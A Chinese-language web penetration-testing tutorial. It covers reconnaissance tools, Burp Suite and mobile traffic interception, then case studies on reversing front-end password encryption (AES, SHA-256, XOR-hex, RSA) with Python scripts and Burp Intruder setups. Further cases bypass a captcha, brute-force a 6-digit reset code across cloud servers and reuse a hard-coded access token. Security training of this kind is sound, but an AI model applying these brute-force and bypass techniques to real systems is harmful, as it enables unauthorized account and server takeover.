用于识别目标服务的特征信息,帮助我们了解具体的技术栈和服务类型。
https://github.com/EdgeSecurityTeam/EHole
使用方法:
./Ehole-darwin -l url.txt #URL地址需带上协议, 每行一个 /Ehole-darwin -f 192.168.1.1/24 #支持单IP或IP段,fofa识别需要要配置fofa密钥和邮箱 /Ehole-darwin -I url.txt -json export.json #结果输出至exportjson文件
Glass
https://github.com/s7ckTeam/Glass
使用方法
Glass.py -u http://www.xx.com #单url测试 Glass.py -w domain.txt -o 1.txt #url文件内
临战阶段
Burpsuite抓包工具
介绍
BurpSuite是一款集成化的渗透测试工具,专为评估Web应用程序的安全生而设计。它集成了多种实用工具,帮助安全专家高效地进行渗透测试与安全审计。通过提供丰富的手动和半自动操作功能,BurpSuite使得发现、分析和验证各种安全漏洞变得更加直观和便捷。
BurpSuite通过其扩展功能,极大地增强了自身的灵活性与适应性,允许用户根据具体需求进行个性化定制。这些扩展不仅丰富了BurpSuite的基础功能,还促进了与其他安全工具及平台的无缝集成,显著拓宽了网络安全测试的范围与效率。
- 个性化定制: 借助丰富的插件库,用户可以挑选或开发适合自己工作流程的广展,从而针对特定的安全评估任务进行优化。无论是增强现有功能还是添加全新的能力,这些扩展都为用户提供了一个高度定制化的环境。
- 工具与平台集成: BurpSuite支持与其他多种安全工具和平台的集成,如漏洞管理软件、自动化测试框架等。这种互操作性使得数据交换更加流畅分析结果更为全面,有助于构建一个综合性的安全评估体系。
- 自动化任务处理: 通过利用各种自动化扩展,用户能够减少重复的手动操作,比如批量扫描、自动解析响应以及智能漏洞验证等。这不仅能节省大量时间和资源,还能提高测试的一致性和准确性,让安全专家可以将更多精力集中在复杂问题的解决上。
BurpSuite基于Java开发,凭借Java的跨平台优势,能在不同操作系统上流畅送运行,降低了学习和使用的难度。尽管具备强大的自动化功能, BurpSuite强调用户手动配置来启动化流程。这种设计让用户能灵活控制测试过程,以满足各种不同的测试需求。
BurpSuitel以Java Archive (JAR)格式发布,免费版可从官网下载,但功能有限。许多高级功能,如全面扫描、高级爬虫和插件支持,只有专业版才提供。专业版在漏洞检测、自动化处理和定制化方面都有显著提升,是安全人员进行深度测试的重要工具。当然,在实际中,也有不少人使用非官方版本。
激活
略
代理设置
浏览器代理插件
- Proxy SwitchyOmega
- 添加代理:http 127.0.0.1 8080
burpsuite
- Proxy Listeners 监听设置。默认本地的8080端口
burpsuite证书-2025版
- Proxy–>Proxy settings页面,Proxy listeners下点击Import/export CA certificate 导出证书。Export 选择DER格式证书,导出保存文件。
- 浏览器导入证书就能识别https流量。
- chrome浏览器导入证书:chrome://certificate-manager/ ,受信任根证书导入,重启浏览器
开启抓包
- burpsuite 中Proxy–>Intercept on 开启拦截
功能介绍
Target(目标):显示目标目录结构。
- 可以观察有隐藏路径
- 断点爬虫
Proxy(代理): 拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据。
Scanner(扫描器): 高级工具,执行后,它能自动地发现web应用程序的安全漏洞。
Intruder(攻击模块): 对拦截的请求,设置攻击载荷,利用字典进行渗透测试。比如:目录扫描、密码暴力破解、压力测试、FUZZ糊涂等。
Repeater(重发器): 一个靠手动操作来触发单独的HTTP请求,并分析应用程序响应的工具
Decoder(解码器): 进行手动执行或对应用程序数据智能解码编码的工具。
Extender(扩展): 可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burpsuite功能。
插件推荐
HaE
下载地址: https://github.com/gh0stkey/HaE
插件介绍: HaE是一款网络安全(数据安全)领域下的框架式项目,采用了乐高积木式模块化设计理念,实现对HTTP消息(包含WebSocket)精细化的标记和提取。
通过运用多引擎的自定义正则表达式,HaE能够准确匹配并处理HTTP请求与响应报文(包含WebSocket),对匹配成功的内容进行有效的标记和信息抽取,从而提升网络安全(数据安全)领域下的漏洞和数据分析效率。
APIKit
下载地址: https://github.com/API-Security/APIKit
插件介绍: APIKit可以主动/被动扫描发现应用泄露的API文档,并将API文档当解析成BurpSuite中的数据包用于API测试。
APIKitv1.0支持的API技术的指纹有:
- GraphQL
- OpenAPl-Swagger
- SpringbootActuator
- SOAP-WSDL
- REST-WADL
blasting
下载地址: https://github.com/gubeihc/blasting
插件介绍: 你是否经常遇到前端JS加密,无从下手,要分析它的前端JS代码看账号密码的具体加密方式以及公钥key。有了这个工具你将如脱手一般无需分析过多,便可轻松爆破。
- 优点1:针对网站后台用户名密码加密无需分析js即可爆破请求。
- 优点2:采用通用特征方式识别用户名和密码进行提交请求。
- 优点3:通过内置ddddocr库可以进行存在验证码后台爆破。
- 优点4:通过监听请求数据可以做到验证码错误重试功能。
- 优点5:可以对大量不同登录系统进行批量爆破测试并截图。
- 优点6:新添加cdp模式,可以使用工具直接爆破也可以配合burp的autodecoder插件做到burp调试明文实际发包密文传输。
APIFinder
下载地址: https://github.com/shuanx/BurpAPIFinder/
插件介绍: 本工具专注于高效的信息收集与敏感内容识别,具备以下核心功能
- 检测接口是否存在未授权/越权获取账号密码、私钥、凭证的情况
- 发现可枚举用户信息、密码修改及用户创建的接口。
- 查找登录后台网址。
- 识别html、JS中泄漏的账号密码或云主机的AccessKey和Secretkey
burpFakeIP
下载地址: https://github.com/TheKingOfDuck/burpFakeIP
插件介绍: 服务端配置错误情况下用于伪造ip地址进行测试的Burp Suite插件,伪造指定ip/伪造本地ip/伪造随机ip/随机ip爆破等。
turbo intruder
下载地址: https://github.com/PortSwigger/turbo-intruder
插件介绍: Turbo Intruder是Burp Suite的一个插件,用于进行高效的并发HTTP请求,目前常见的能够测试并发漏洞的插件。
BurpCrypto
下载地址: https://github.com/whwlsfb/BurpCrypto
插件介绍: 本插件使用phantomjs启动前端加密函数对数据进行加密,方便对加密数据输入点进行fuzz,比如可以使用于前端加密传输爆破等场景。
CaA
下载地址: https://github.com/gh0stkey/CaA
插件介绍: CaA是一个基于BurpSuite Java插件API开发的流量收集和分析插件。它的主要作用就是收集HTTP协议报文中的参数、路径、文件、参数值等信息,并统计出现的频次,为使用者积累真正具有实战意义的Fuzzing字典。除此之外,CaA还提供了独立的Fuzzing功能,可以根据用户输入的字典,以不同的请求方式交叉遍历请求,从而帮助用户发现隐藏的参数、路径、文件,以便于进一步发现安全漏洞。
APP&小程序抓包改包
APP抓包-安卓模拟器
1、安装openssl
参考文章:https://blog.csdn.net/zyhse/article/details/108186278
OpenSSL的github地址:https://github.com/openssl/openssl
OpenSSL工具箱,主要包括以下三个组件:
- openssl:多用途的命令行工具
- libcrypto:加密算法库
- libssl:加密模块应用库,实现了ssl及TLS协议
下载二进制安装包:http://slproweb.com/products/Win32OpenSSL.html
- 如,Win64OpenSSL-3_5_0.exe 完整软件包
安装
- 一般默认安装,但安装步骤中有一步,“Select Additional Tasks”,让选择OpenSSL的dll拷贝到什么地方。建议选择安装目录 The OpenSSL binaries (/bin) directory
- 添加系统环境变量,PATH中将openssl安装目录/bin排在第一位,避免其他软件影响。如,D:\Program Files\OpenSSL-Win64\bin
验证版本
openssl version
2、看一下自己本机IP
# windows ipconfig #linux ip a
3、burp添加代理监听
- 添加代理监听地址,用本机IP做代理,端口8080
4、打开代理地址导出CA证书
- 浏览器访问 本机IP:8080,下载证书,保存到本地。如cacert.der
5、在ca证书的文件夹打开终端
opensshl x509 -inform der -in cacert.der -out burp.pem openssl x509 -subject_hash_old -in burp.pem 9a5ba575 -----BEGIN CERTIFICATE----- MIIDpzCCAo+gAwIBAgIEEbHnXjANBgkqhkiG9w0BAQsFADCBijEUMBIGA1UEBhML ... ... -----END CERTIFICATE-----
手动将新建的burp.pem重命名为9a5ba575.0,别忘了后面的.0。
6、模拟器配置
- 可以下载网易的MuMu模拟器或雷电模拟器
- 打开root权限及文件访问权限,设置中心
- 磁盘-磁盘共享-可写系统盘
- 其他,设置开启root权限
- 重启模拟器
- 找到adb调试端口-问题诊断。雷电模拟器为(诊断信息)。可以看到ADB调试端口
好了,至此可以连接adb导入证书,一定要将证书导入到 system/etc/security/cacerts
下载Android 调试桥 (adb)
# 下载sdkmanager命令行管理工具 #https://developer.android.com/studio?hl=zh-cn#command-line-tools-only # 安装sdkmanager #https://developer.android.com/tools/sdkmanager?hl=zh-cn #1.将解压缩的 cmdline-tools 目录移至您选择的新目录,例如 android_sdk #2.在解压缩的 cmdline-tools 目录中,创建一个名为 latest 的子目录 #3.新创建的 latest 目录中中所有文件移动到新创建的 latest 目录中 PS D:\tmp\android_sdk> cmdline-tools/latest/bin/sdkmanager --list # 安装adb PS D:\tmp\android_sdk> cmdline-tools/latest/bin/sdkmanager "platform-tools" cd D:\tmp\android_sdk\platform-tools
#MuMu模拟器 adb devices #显示已连接的设备 adb connect 127.0.0.1:16384 adb root (注意: adb root的时候要去模拟器同意权限申请) adb push 9a5ba575.0 /system/etc/security/cacerts/
#雷电模拟器 #https://help.ldmnq.com/docs/LD9adbserver #1.右键点击桌面上的雷电模拟器9,选择 打开文件所在位置 ,进入模拟器安装路径。 #2.在文件夹路径输入cmd,打开命令行窗口 #3.adb devices 即可查看运行中的模拟器端口/设备号 D:\Program Files\leidian\LDPlayer9>adb devices List of devices attached emulator-5554 device #4.获取root权限 D:\Program Files\leidian\LDPlayer9>adb root D:\Program Files\leidian\LDPlayer9>adb remount #5.导入证书 D:\Program Files\leidian\LDPlayer9>adb push d:/tmp/9a5ba575.0 /system/etc/security/cacerts/ #文件管理器中查看是否文件已导入
重启模拟器,就可以抓https包了。
7、模拟器设置IP和端口,然后成功抓包。和真实手机操作一样。
- 打开wifi设置,代理选择手动模式,填写代理地址(burp监听地址)
APP抓包-微信小程序-PC端-通过系统代理
打开PC端微信,然后设置电脑浏览器代理。默认使用Edge
- 计算机系统代理
- 方法1:打开Edge浏览器,菜单里点击设置,搜索框中搜索“代理”
- 系统和性能–>打开计算机的代理设置
- 方法2:PC菜单栏左下角点 ”windows设置“–>网络和Internet–>代理
- 找到手动设置代理,和burpsuite监听地址一样,地址127.0.0.1, 端口8080,保存
- 方法1:打开Edge浏览器,菜单里点击设置,搜索框中搜索“代理”
- 本地打开微信,搜索小程序。如企业系统登录。在账号下过滤小程序
- 直接打开后即可抓包
APP抓包-微信小程序-PC端-通过Yakit
通过Yakit系统代理进行抓包
官方下载地址: https://www.yaklang.com
- 简化配置: 无需复杂的环境设置即可开始工作,减少了因配置错误导致的问题。
- 易用性: 界面友好,操作直观,即使是初学者也能快速上手。
- 全面支持: 不仅支持标准的HTTP/HTTPS流量捕获,还特别针对微信小程序进行了优化,确保能够有效地捕获其加密通信内容。
- 高效分析: 提供了强大的数据分析能力,帮助用户快速理解捕获的数据包内容,并从中发现潜在的安全问题。
操作
- 安装完软件之后初始化引擎,重启
- 添加临时项目
- 临时项目-本地模式
- 用来抓取本机流量
- 可能提示“证书”未配置,先点击“启动劫持”,即可下载进行安装证书
- 进入到劫持页面,点击证书下载
- 证书下载到本地。默认文件名yakit证书.crt.pem,改为 yakit证书.crt
- 双击该证书文件进行安装,安装到受信任的根证书机构。
- 配置代理
- 软件界面左上角点击”设置“,找到系统设置–>系统代理
- 这边监听设为8083,然后直接点击“启用”即可。
打开微信,搜索小程序的名称,直接打开目标小程序,在Yakit界面里就可查看到最新时间的流量包。
APP抓包-微信小程序-IOS
- 在BurpSuite里面 Proxy –> Options –> Proxy Listeners –> Add,在Specific address选择本机局域网IP做代理 IP:8080。如192.168.2.2:8080
- IOS手机访问192.168.2.2:8080,下载证书到手机
- 手机设置,通过–>vpn与设备管理,已下载描述文件中选择(如, PortSwigger CA)并安装
- 完成后信任证书:通用–>关于本机–>证书信任设置,选择并开启
- PC端开热点和代理
- Windows设置–>网络和Internet–>移动热点,开启
- 手机访问该热点wifi,进入wifi设置,配置代理–>手动,填写信息:服务器: 192.168.2.2 端口8080
手机打开app或小程序就可以抓包了。
漏洞利用
暴力破解
第1部分
登录页密码加密的重要性
保障系统安全:
- 增加破解难度: 对密码字段进行加密,例如使用哈希算法(如SHA-256)、对称加密算法(如AES)或非对称加密算法(如RSA)等,将用户输入的原始密码转换为密文。
- 哈希算法的单向性使得攻击者无法通过密文直接还原出原始密码,对称和非对称加密则需要知晓对应的密钥才能解密。这就意味着攻击者即使截获了密文形式的密码也难以轻易获取真实密码,大大增加了爆破的难度。
常见加密方法:
- MD5: 曾经广泛使用,但现在已被发现存在严重的安全漏洞,容易受到哈希碰撞攻击。
- SHA256: 目前较为安全的哈希算法,广泛应用于密码存储。
- AES: 高级加密标准,具有较高的安全性和效率,是目前应用最广泛的对称加密算法
- HEX: 这是一种加密方式。十六进制在加密相关的场景中有着广泛的应用
- 等等…
增加破解难度:对密码字段进行加密,将用户输入的原始密码转换为密文,增加了爆破的难度。
案例1-登录口AES加密的暴力破解
http://xxx.com 系统登录页面
可以看到请求中的password密码是做过加密处理的。爆破之前需要先解密才可以自定义我们的字典。
#抓请求包 POST xxx/user/login HTTP/2 ... ... 略 { "userName": “admin”, "password": "rUxS1Ci22gtad95y3Pq1Wg==" }
既然密码加密了就不能用明文密码字典暴力破解,我们需要
- 还原来前端加密逻辑
- 写代码将密码加密
常见还原加密逻辑
- 开发者模式下,搜索password参数名来找到加密的方法
- 也可以搜索相关加密数的一些关键字encrypt、rsa、md5、sha256、Aes等关键字找到加密位置。
比如这里直接搜索password参数,password调用的V方法下一个断点
#274行下断点 270 return (0, T.Z) ().wrap( 271 function (c){ 272 for(;;) switch (c.prev = c.next) { 273 case 0: 274 return i.password = V(i.password), 275 c.next = 3 276 case 3: 277 if (a = c.sent, I(a l= null && a.success)) { 278 c.next = 15; 279 break 280 }
跟到了functionV这里
var r = arguments.length > 0 && //目的让r有一个安全的默认值 arguments[0] !== void 0 ? arguments[0] : ";
这行代码会检查是否有参数传入函数。如果有参数并且第一个参数不为undefined,就把第一个参数赋值给变量r; 如果没有参 数传入,就将r初始化为空字符串,我们在登录密码处传入了 123456所以r就是123456
var o = typeof r == 'string' ? r : JSON.stringify(r),// 如果r是字符串类型,r值赋值给o;否则执行JSON.stringify()函数
这行代码使用三元运算符对变量r的类型进行判断。 如果r是字符串类型,就直接赋值给变量o; 如果r不 是字符串类型,就使用JSON.stringify()方法把它转换 为JSON字符串后再赋值给o,传的123456就是字 符串所以o=123456
R=eb64rJZA0Hjw7PY7x7Us+A@=eb64rJZA z=EJ9iIPhzB4I5UDfv l = p.AES.encrypt( o, // 待加密数据 p.enc.Latin1.parse(R), // 密钥 { iv: p.enc.Latin1.parse(z), // 初始向量 mode: p.mode.CBC, // CBC模式 padding: p.pad.Pkcs7 // 填充方式PKCS7 }
这里就开始进行AES的加密
- o是待加密的数据也就是123456,
- 密钥是R,
- iv是z(初始向量)
- CBC模式(密文分组连接模式)
- 填充方式为PKCS7,如果密文长度不是16的倍数就自动补齐
可以看到加密后的password
- 123456=rUxS1Ci22gtad95y3Pq1Wg==
使用在线网站加密对比可以看到结果一样,密钥长度选择256,因为这里的key是32个字符。
- 128位(16字节)
- 192(24字节)
- 256位(32字节)
在线加密网站: https://www.toolhelper.cn/
可以使用python脚本进行批量加密后再去爆破,但是这样会比较麻烦每次需要重新把加密后的密码导入到burp中才可以去爆破
from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 key = "eb64rJZA0Hjw7PY7x7Us+A@=eb64rJZA".encode()[:32] iv = "EJ9iIPhzB4I5UDfv".encode() def aes_encrypt(plaintext): cipher = AES.new(key, AES.MODE_CBC, iv) padded_plaintext = pad(plaintext.encode(), AES.block_size) ciphertext = cipher.encrypt(padded_plaintext) encrypted_text = base64.b64encode(ciphertext).decode() return encrypted_text #要加密的明文 plaintext = "123456" encrypted_result = aes_encrypt(plaintext) print(f"加密后的文本:{encrypted_result}") #需要安装模块 pip install --force-reinstall pycryptodome # 执行结果 # 加密后的文本:rUxS1Ci22gtad95y3Pq1Wg==
更省力的方法,burpsuite安装BurpCrypto插件
使用BurpCrypto插件,设置好加密方式,保存
intruder模块,payload处理设置插件,这样密码在导入前会自动完成加密。可以直接用字典爆破。
- 抓包放到intruder中,添加密码变量
- Payloads–>Payload proccessing,Add添加规则burpcrypto插件
- Invoke Burp extension: BurpCrypto - AES Encrypt - 你保存的名称
- 直接进行爆破
案例2-登录口SHA256加密的暴力破解
http://xxx.com 系统登录页面
可以看到请求中的password密码是做过加密处理的。爆破之前需要先解密才可以自定义我们的字典。
#抓请求包 POST xxx/user/login HTTP/2 ... ... 略 { "accountName": “11”, "password": "2a948a381bfe1d5b25e6394c5348124253e4ec4968c13fl094e8993ad1fa9107" }
打开浏览器开发者工具,搜索相关接口名或者参数名 password, serviceName或者一些密码关键字encrypt、rsa、md5、sha256、Aes等关键字找到加密位置。
这里我们搜索password
Bl = async() => { var GC; const Vl = { phoneNo: xa.value.phone, verificationCode: xa.value.code }, ic = { accountName: xa.value.phone, password: sha256(sha256(xa.value.password) + 'moso') }, xx = 'xxx' }
可以看到其中的加密算法为sha256:
password: sha256(sha256(xa.value.password) + 'mos0')
这里的意思就是密码经过1次sha256加密后追加字符串mos0,最后再进行sha256加密。
使用123456来验证
=sha256(sha256(明文密码)) + "mos0") = sha256(sha256(123456) + "mos0") = sha256(8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 + "mos0") = sha256(8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92mos0) = 2a948a381bfe1d5b25e6394c5348124253e4ec4968c13fb094e8993ad1fa9107
前端登录页面验证,密码填写123456,通过抓包发现与验证逻辑一致。
开始Burpsuite爆破
- 抓包放到intruder中,添加密码变量
- Payloads–>Payload proccessing,添加规则sha256, 追加字符
- HASH: SHA-256
- Add Suffix: mos0
- HASH: SHA-256
- 直接进行爆破
第2部分
案例3-16进制加密登录暴力破解
找到一个登录口,请求参数中用户名和密码是做了加密处理的。
1.还原加密逻辑
打开浏览器开发者工具,搜索相关接口名或者参数名 password, serviceName或者一些密码关键字encrypt、rsa、md5、sha256、Aes等关键字找到加密位置。
POST /passport/web/user/login/?aii=xxx
比如我们这里通过登录接口 user/login 先寻找JS。
下载断点找到加密方式
for(var r = 0, o= this.length r <o; ++r) n.push((5 ^ t[r].toString(16))); return n.join("")
可以看到其中的加密段为 5^t[r]).tostring(16) , 大概意思就是遍历数组
t 中的每个元素(例如 t=admin或t=123456),对每个元素执行一个异或操作并与
5进行计算,然后将结果转换为十六进制字符串,就是最终的结果,我们写个脚
本如下处理:
#与前端加密一样的加密逻辑 with open("1.txt", "r") as file: # 1.txt放的原始密码 lines = file.readlines() processed_lines = [] for line in lines: original_line = line.strip() processed_line = "" for i in original_line: processed_line += hex(ord(i) ^ 5)[2:] # 与5做异或运算,然后将结果转换为16进制,并将开头的0x去掉 combined_line = original_line + "----" + processed_line processed_lines.append(combined_line) with open("22.txt", "w") as outfile: #将密文写到22.txt中 for line in processed_lines: outfile.write(line + '\n')
2.加密密码
比如我们用代码直接将我们的用户名或者密码字典进行批量加密。
#1.txt admin 123456 777777 000000 #22.txt 明文与密文对照表 admin----6461686c6b 123456----343736313033 777777----323232323232 000000----353535353535
对比一下之前抓的包看看加密算法没有算错。分别是admin和123456
mix_mode=1&username=6461686c6b&password=343736313033&device_platform=windows&fixed_mix_mode=1
然后我们将密文全部提取出来放到burpsuite中进行爆破就行了。爆破成功后拿密文在对照表中密文反查拿到明文。
案例4-AES加密登录暴力破解
通过抓包发现请求参数和值都是加密了的。我们就不能通过搜索参数名的方式找密码加密逻辑了。
POST /xx/login HTTP2
... ...
{
"param": "Q9io1lzG2USAwD+40v4ms5ObmUhZq2nNViGdebOLT6zwx3/8oX/si0FuJIEI07T2"
}
1.还原加密逻辑
这里是参数和值都做过加密了,如果参数没加密我们可以搜索参数名来定位加密的位置在哪里。
那么这里我们可以直接F12全局搜索接口的名称(如ig/login)来定位到加密的算法和位置搜索到接口名称, 在 http('jsonpost'xxxx) 前面下一个断点
export function getlogin(params: any = {}) { // params:函数参数名 // : any:TypeScript 类型注解,表示 params 可以是任意类型的数据(绕过类型检查) // = {} 默认值语法,表示当调用函数时未传入参数或传入 undefined 时,params 会自动赋值为空对象 {} return new Promise((resolve, reject) => { http('jsonpost', '/xxig/login', params, false, true).then( res => { resolve(res); }, error => { console.log('网络异常~', error); reject(error); }, ); }); }
这时候再去进行登录操作就会进入调试。
一直跟到这里可以看到是AES的加密并且给出来了key和iv运算模式cbc填充方式pkcs7
- 运算模式:CBC
- 填充方式:pkcs7
- 密钥: 3lc58fg8EFN9fntG
- 向量: clKu3cM0uynlvU7M
const AuthTokenkey = '3lc58fg8EFN9fntG'; //AES密钥 const AuthTokeniv = 'clKu3cM0uynlvU7M'; //AES向量 /*AES加密*/ export function Encrypt(data: any = '') { const datastr = typeof data == 'string' ? data : JSON.stringify(data); const encrypted = CryptoJS.AES.encrypt(datastr, CryptoJS.enc.Latin1.partse(AuthTokenKey), { iv: CryptoJS.enc.Latini.parse(AuthTokenIv), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return encrypted.toString(); } /*AES解密*/ export function Decrypt(data: any = '') { const data2 = data.replace(/\n/gm, ''); const decrypted = CryptoJS.AES.decrypt(data2, CryptoJS.enc.Latini.parsee(AuthTokenkey), { iv: CryptoJS.enc.Latin1.parse(AuthTokeniv), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); return decrypted.tostring(CryptoJS.enc.Utf8); }
拿到了密钥和key后,使用在线加密网站直接解密对比是否正确,选择cbc运算模式,填充pkcs7,密钥长度选择128,因为这里的key是16个字节。
- 128位(16字节)
- 192(24字节)
- 256位(32字节)
在线加密网站: https://www.toolhelper.cn/
- 运算模式:CBC
- 填充方式:pkcs7
- 密钥长度:128位
- 密钥: 3lc58fg8EFN9fntG
- 向量: clKu3cM0uynlvU7M
- 加密字符串:Q9io1lzG2USAwD+40v4ms5ObmUhZq2nNViGdebOLT6zwx3/8oX/si0FuJIEI07T2
如这里用python脚本进行批量加密后再去爆破,但是这样会比较麻烦每次需要重新把加密后的密码导入到burp中才可以去爆破
from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def aes_encrypt_file(key, iv, input_file_path, output_file_path): try: #打开输入文件并读取明文 with open(input_file_path, 'r', encoding='utf-8') as f: plaintext = f.read() # 创建AES加密器 cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8')) # 对明文进行填充 padded_plaintext = pad(plaintext.encode('utf-8'), AES.block_size) # 加密操作 ciphertext = cipher.encrypt(padded_plaintext) # 将加密后的字节数据转换为Base64编码的字符串 encrypted_base64 = base64.b64encode(ciphertext).decode('utf-8') # 打开输出文件并写入加密后的Base64编码字符串 with open(output_file_path, 'w', encoding='utf-8') as f: f.write(encrypted_base64) print(f"加密成功,密文已保存到{output_file_path}") except Exception as e: print(f"加密过程中出现错误:{e}") # 密钥和初始化向量 key = '3lc58fg8EFN9fntG' iv = 'clKu3cM0uynlvU7M' # 输入文件路径和输出文件路径 input_file = 'plaintext.txt' output_file = 'ciphertext.txt' aes_encrypt_file(key,iv,input_file,output_file) #需要安装模块 pip install --force-reinstall pycryptodome
# plaintext.txt 文件明文内容 {"userName":"admin","password":"123456"} #执行程序后,ciphertext.txt文件加密内容 Q9io1lzG2USAwD+40v4ms5ObmUhZq2nNViGdebOLT6zwx3/8oX/si0FuJIEI07T2
2.加密密码
更省力的方法,burpsuite安装BurpCrypto插件
使用BurpCrypto插件,设置AES Settings加密方式,点击Add processor保存
- AES Key: 3lc58fg8EFN9fntG
- AES IV: clKu3cM0uynlvU7M
intruder模块,payload处理设置插件,这样密码在导入前会自动完成加密。可以直接用字典爆破。
解密后明文的格式是这个 {"userName":"admin","password":"123456"}
- 抓包放到intruder中,添加密码变量
- Payload type: Custom iterator 自定义迭代器
- 把明文传递的格式给拆分成3段,
- Position 1是{"userName":"
- Position 2是导入需要爆破的用户名
- Position 3是","password":"123456"}
- Payloads–>Payload proccessing,Add添加规则burpcrypto插件
- Invoke Burp extension: BurpCrypto - AES Encrypt - 你保存的名称
- 直接进行爆破
第3部分
案例1-6位数验证码一样可以暴力破解
6位数验证码真的束手无策?
- 6位验证码通常是指由数字组成的六位随机序列,广泛应用于用户身份验证过程,比如注册、登录、找回密码等场景
为什么要使用6位数验证码而不是4位数?
- 6位数数字验证码提供了10000000(000000-9999999)种可能的组合,而四位数验证码只有10000种组合。这意味着6位数验证码比4位数验证码在理论上更难被暴力破解或随机清测成功,从而提供了更高的安全性。
- 由于可能性更多,当验证码有效时间较长且不存在过期机制时,攻击者通过尝试所有可能的数字组合来猜解验证码。
1、当用户需要找回密码时,在输入用户名之后,系统将自动发送一个6位数的验证码至用户预先绑定的联系方式,查收该验证码。
2、我们可以利用云服务平台的优势,快速部署多个服务器实例,基于镜像实现自动化扩展,并采用按量计费模式有效控制成本。这种方法特别适合于需要高并发处理的场景,如性能测试、大规模数据分析等,确保资源的高效利用和灵活性。
- 云资源+并发+脚本自动化
- 按量付费:购买云服务器资源
- 一键分发脚本任务或burp: 利用集群进行暴力破解。
3、忘记密码发送后,当爆破到数字91802时,可以看到成功获取到验证码。
4、验证后来到密码修改的界面,成功修改密码。
5、成功登录管理系统后,实现了对167台云服务器的有效控制。
案例2-RSA加密/验证码绕过进行暴力破解
1、打开登录网页 https://www.xx.com
# 页面 账号登录 1 #用户名 . #密码 1 #图形码 CTEBR
2、抓包查看,有验证码验证
# burp 抓包 Authorization:rsa KkecYfxxxxxxx { "captcha": "1", "captchaKey":"e19f1c30-cdc9-43d8-b5bd-08fa56fd1496" } #响应数据 { "code": -1, "message":"验证码已失效", "data":null
3、这时候直接把验证码删除绕过验证
# burp 抓包 Authorization:rsa KkecYfxxxxxxx { } #响应数据 { "code": 100, "message":"账号或密码错误,请重新输入", "data":null
4、可以看到他这里是在请求头传入的账号和密码rsa加密,Authorization:rsa XXXX,JS搜索获取到publickey,找到他加密的公钥
fuction c(t) {
var e = new a;
return e.setPublicKey(o),
e.encrypt(t)
}
5、再看到o,获取到公钥
加断点,调试到o位置
o = "MIIBIjaNBgkqhkxxxxxxxxxxxxxxx"
再查看是怎么拼接的。
6、rsa加密获取到公钥是只能加密没办法解密解密需要私钥,但是请求头里面传入的账号和密码是什么格式我们不知道因为解不了密。
# Sec-Ch-Ua-Platform: "Windows" Authorization:rsa KkecYfA50ulD536suXMuqzBCl161uzcZ/rkCc2pE4ALKDYv5HB/YG8hWdGXjy3BrAO Cf/OYT1Xoihc9RDYVVVq1 IECIpyqqyjV7yG/pceGFnS40LIXKIgFIA1XCt9WLhgyyvo S2nAgFiUU22CMr1iozDuEcxjLtRY5vUe1jjsjnZRM3FJ7xeATLzMKRPWOLxROw5از vu8FCpLTRzpbBEA2KcUhocmrDisL701 JckCIPt0y9pLyJJJJ4eq4 jJHNXE33.Jr4cZ b1JZJr30Hfhdvq05JSxh/zsLdczM2kr3JsJCv606oPpt8x8bVSeFT5rt8fLCOmsvS 3G2daXprUJu5iyPbg Sec-Ch-Ua: "Chromium";v="136", "Google Chrome";v= 136".
7、这时候直接搜索rsa相关加密函数EncryptRSA打断点调试,可以直接在调试下看到明文传输的格式
n += e, // 加断点 "rsa " + o.Z.EncryptRSA(n) } var z = { namespaced: !0, state: D,
8、获取到明文传输格式: 用户名:uKE8e1密码 格式,如admin:uKE8e11234566
function R(t,e){ // t = admin", e = "123456 var n = ""; // n = "admin:uKE8e1123456" return n += t, // t = "admin" n += ":UKE8e1",
9、然后直接使用burp插件BurpCrypto加密进行爆破
RSA Setting RSA Public Key Format: X509 X509 Key(Base64): PRW+xhCuLm1ERzJJVnPR+WM4NHw56c2cnRCwv7zGkGCm/8GC/5GT00y1ZCZIIV6WBY4Kw2/TehMhKOLbtL9ESe83e7ZuZhEcs8uHhwip3FrhHf8jPKRrxj4C4/CDy3641RTEaEsCJxBocDwm2QYkNq0Z7hbrTqF87dKtugoiDAQB Output Format: Base64
10、使用burp插件,对用户密码进行加密,并且绕过验证码进行暴力破解,成功进入后台。
信息泄漏
第1部分
案例1-X-Access-Token泄漏
X-Access-Token介绍
在JavaScript中,如果泄漏了X-Access-Token参数值,这通常意味着你的代码或网络请求中暴露了敏感的身份验证信息。 X-Access-Token通常是用来标识用户身份的令牌(Token),如果被攻击者获取,可能会导致严重的安全问题,例如未经授权的访问、数据泄漏等。
产生的原因
前端代码中直接暴露了 Token
如果你在前端代码中直接将X-Access-Token写死或者通用调试工具可以看到该值,那么它很容易被攻击者获取。
日志记录
如果你前端代码或者后端服务在日志中记录了X-Access-Token,这些日志可能会被未授权的人访问。
第三方脚本注入
如果页面引入了不可信的第三方脚本,这些脚本可能会读取你的请求头并窃取X-Access-Token
当尝试访问网址http://xxxx.com/ 时,页面呈现一片空白,没有跳转至登录界面,也无法获取访问权限。
在查看请求接口时,收到了状态码为403的提示信息,显示验证失败403。值得注意的是,该网站本身并不具备登录功能模块。
burpsuite抓包
#请求头 POST xxx/query HTTP/2 X-Access-Token: #返回值 { "error_response": "Validate failure 403", "code": 403, "zh_desc": "验证失败:403:鉴权失败" }
通过对请求头的检查,我们发现其中的X-Access-Token值处于空值。这一情况清晰地表明,用户的身份令牌信息缺失,意味着用户尚未进行登录操作。所以,当前接口返回了403错误提示,明确显示验证未通过。
该网站既没有提供登录接口,也不存在登录页面以供用户登录系统,打开后仅呈现出一片空白。在这种情况下,我们可以借助JavaScript代码搜索关键字 "X-Access-Token",从而获取到相应的token信息,这是典型的硬编码。
e.header["X-Access-Token"] = "eyJhbGci0iJUzi1NxxxxxxxxxxxxWfnuaZt1wif"
在成功获取到 X-Access-Token的值后,添加到请求头对应的字段里,就能以当前用户身份登录系统并获取相关信息。
案例2-Token泄漏
访问url http://xxx.com 是没有权限的,也没有数据,跳转到SSO
